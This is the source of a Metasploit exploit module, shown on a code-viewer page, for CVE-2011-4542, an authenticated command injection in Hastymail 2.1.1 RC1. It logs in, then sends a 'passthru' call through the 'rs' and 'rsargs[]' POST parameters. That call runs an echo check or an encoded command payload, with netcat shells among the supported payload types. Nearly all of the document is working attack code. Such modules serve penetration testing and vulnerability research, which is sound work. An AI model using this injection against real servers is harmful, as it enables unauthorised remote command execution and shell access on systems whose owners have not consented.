Path: blob/master/modules/exploits/unix/webapp/hastymail_exec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "Hastymail 2.1.1 RC1 Command Injection",15'Description' => %q{16This module exploits a command injection vulnerability found in Hastymail172.1.1 RC1 due to the insecure usage of the call_user_func_array() function on18the "lib/ajax_functions.php" script. Authentication is required on Hastymail19in order to exploit the vulnerability. The module has been successfully tested20on Hastymail 2.1.1 RC1 over Ubuntu 10.04.21},22'License' => MSF_LICENSE,23'Author' => [24'Bruno Teixeira', # Vulnerability Discovery25'juan vazquez' # Metasploit module26],27'References' => [28[ 'CVE', '2011-4542' ],29[ 'BID', '50791' ],30[ 'OSVDB', '77331' ],31[ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]32],33'Payload' => {34'Compat' =>35{36'PayloadType' => 'cmd',37'RequiredCmd' => 'generic perl ruby python netcat netcat-e',38}39},40'Platform' => ['unix'],41'Arch' => ARCH_CMD,42'Targets' => [43['Hastymail 2.1.1 RC1', {}]44],45'Privileged' => false,46'DisclosureDate' => '2011-11-22',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),59OptString.new('USER', [true, "The username to authenticate with", ""]),60OptString.new('PASS', [true, "The password to authenticate with", ""])61]62)63end6465def check66@uri = normalize_uri(target_uri.path)67@uri << '/' if @uri[-1, 1] != '/'68@session_id = ""6970login7172if not @session_id or @session_id.empty?73vprint_error "Authentication failed"74return Exploit::CheckCode::Unknown75end7677test = rand_text_alpha(rand(4) + 4)78data = "rs=passthru&"79data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"80data << "rsargs[]=echo #{test}"81res = send_request_cgi({82'method' => 'POST',83'uri' => "#{@uri}",84'Cookie' => @session_id,85'data' => data86})8788if res and res.code == 200 and res.body =~ /#{test}/89return Exploit::CheckCode::Vulnerable90else91return Exploit::CheckCode::Safe92end93end9495def login96res = send_request_cgi({97'method' => 'POST',98'uri' => "#{@uri}?page=login",99'vars_post' =>100{101'user' => datastore['USER'],102'pass' => datastore['PASS'],103'login' => 'Login'104}105})106107if res and res.code == 303108@session_id = res.get_cookies109print_good("Authentication Successful")110end111end112113def exploit114@uri = normalize_uri(target_uri.path)115@uri << '/' if @uri[-1, 1] != '/'116@session_id = ""117118print_status "Trying login"119login120121if not @session_id or @session_id.empty?122print_error "Authentication failed"123return124end125126print_good "Authentication successfully, trying to exploit"127128data = "rs=passthru&"129data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"130data << "rsargs[]=#{payload.encoded}"131132res = send_request_cgi({133'method' => 'POST',134'uri' => "#{@uri}",135'Cookie' => @session_id,136'headers' => {137'Cmd' => Rex::Text.encode_base64(payload.encoded)138},139'data' => data140})141142if not res or res.code != 200 or not res.body =~ /\+/143print_error "Exploitation failed"144return145end146end147148end149150151